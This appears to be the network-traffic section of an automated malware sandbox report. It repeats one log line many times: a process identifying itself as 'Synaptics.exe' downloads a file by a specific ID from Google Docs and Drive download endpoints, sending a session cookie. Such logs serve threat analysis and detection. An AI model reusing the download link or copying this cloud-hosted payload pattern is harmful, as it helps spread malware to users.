Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
